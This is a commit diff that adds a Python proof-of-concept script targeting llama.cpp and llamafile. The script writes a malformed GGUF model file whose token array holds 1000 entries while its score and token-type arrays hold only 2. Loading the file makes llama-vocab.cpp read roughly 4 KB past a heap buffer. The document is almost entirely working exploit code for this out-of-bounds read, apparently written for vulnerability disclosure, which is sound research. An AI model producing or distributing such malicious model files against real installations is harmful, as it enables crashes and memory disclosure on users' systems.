Add llama.cpp vocab OOB read PoC

poc_vocab_oob.py

@@ -0,0 +1,48 @@
+#!/usr/bin/env python3
+"""
+PoC: Heap Out-of-Bounds Read via Token/Score/TokenType Array Size Mismatch
+Target: llama.cpp / llamafile — llama-vocab.cpp
+Severity: High (CWE-125 OOB Read)
+
+Generates a .gguf with 1000 tokens but only 2 scores/toktypes entries.
+llama-vocab.cpp accesses scores[i] and toktypes[i] for i up to 999,
+reading ~3992 bytes past the heap allocation.
+"""
+import struct, sys, os
+
+GGUF_MAGIC = b'GGUF'
+GGUF_VERSION = 3
+GGUF_TYPE_UINT32, GGUF_TYPE_INT32, GGUF_TYPE_FLOAT32 = 4, 5, 6
+GGUF_TYPE_STRING, GGUF_TYPE_ARRAY, GGUF_TYPE_UINT64 = 8, 9, 10
+
+def ws(f, s):
+    e = s.encode('utf-8'); f.write(struct.pack('<Q', len(e))); f.write(e)
+
+def wks(f, k, v): ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_STRING)); ws(f, v)
+
+def wksa(f, k, ss):
+    ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
+    f.write(struct.pack('<i', GGUF_TYPE_STRING)); f.write(struct.pack('<Q', len(ss)))
+    for s in ss: ws(f, s)
+
+def wkfa(f, k, fs):
+    ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
+    f.write(struct.pack('<i', GGUF_TYPE_FLOAT32)); f.write(struct.pack('<Q', len(fs)))
+    for v in fs: f.write(struct.pack('<f', v))
+
+def wkia(f, k, ns):
+    ws(f, k); f.write(struct.pack('<i', GGUF_TYPE_ARRAY))
+    f.write(struct.pack('<i', GGUF_TYPE_INT32)); f.write(struct.pack('<Q', len(ns)))
+    for v in ns: f.write(struct.pack('<i', v))
+
+N_TOK, N_SC = 1000, 2
+with open("malicious_vocab_oob.gguf", 'wb') as f:
+    f.write(GGUF_MAGIC + struct.pack('<I', GGUF_VERSION) + struct.pack('<q', 0) + struct.pack('<q', 6))
+    wks(f, "general.architecture", "llama")
+    wks(f, "general.name", "poc-vocab-oob")
+    wksa(f, "tokenizer.ggml.tokens", [f"tok_{i}" for i in range(N_TOK)])
+    wkfa(f, "tokenizer.ggml.scores", [0.0]*N_SC)
+    wkia(f, "tokenizer.ggml.token_type", [0]*N_SC)
+    wks(f, "tokenizer.ggml.model", "llama")
+print(f"Generated malicious_vocab_oob.gguf — {N_TOK} tokens, {N_SC} scores/types")
+print(f"OOB read: ~{(N_TOK-N_SC)*4} bytes past heap allocation")